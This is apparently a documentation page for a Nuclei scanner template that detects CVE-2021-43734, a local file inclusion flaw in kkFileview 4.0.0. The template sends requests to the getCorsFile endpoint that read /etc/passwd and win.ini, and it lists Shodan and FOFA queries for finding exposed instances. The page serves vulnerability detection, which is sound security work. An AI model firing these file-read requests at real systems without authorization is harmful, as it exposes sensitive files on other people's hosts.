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Nuclei Templates

kkFileview v4.0.0 - Local File Inclusion

ID: CVE-2021-43734

Severity: high

Author: arafatansari

Tags: cve2021,cve,kkfileview,traversal,lfi,keking

Description

Section titled “Description”

kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.

YAML Source

Section titled “YAML Source”
id: CVE-2021-43734


info:
  name: kkFileview v4.0.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    kkFileview v4.0.0 is vulnerable to local file inclusion which may lead to a sensitive file leak on a related host.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Upgrade to a patched version of kkFileview v4.0.1 or later, or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/304
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43734
    - https://github.com/20142995/Goby
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43734
    cwe-id: CWE-22
    epss-score: 0.00856
    epss-percentile: 0.82223
    cpe: cpe:2.3:a:keking:kkfileview:4.0.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: keking
    product: kkfileview
    shodan-query:
      - http.html:"kkFileView"
      - http.html:"kkfileview"
    fofa-query:
      - body="kkfileview"
      - app="kkfileview"
  tags: cve2021,cve,kkfileview,traversal,lfi,keking


http:
  - method: GET
    path:
      - "{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd"
      - "{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"


    stop-at-first-match: true


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "for 16-bit app support"
        condition: or


      - type: status
        status:
          - 200
# digest: 490a004630440220164fcc863627c2ce3aba6bd5ab59cc6f7b32c5cb2927adbac118a83062ce75c302205311e22478d74ee9c5185b10e5539df120d63ce91cca4c0de8e93071a6e795b8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-43734.yaml"

View on Github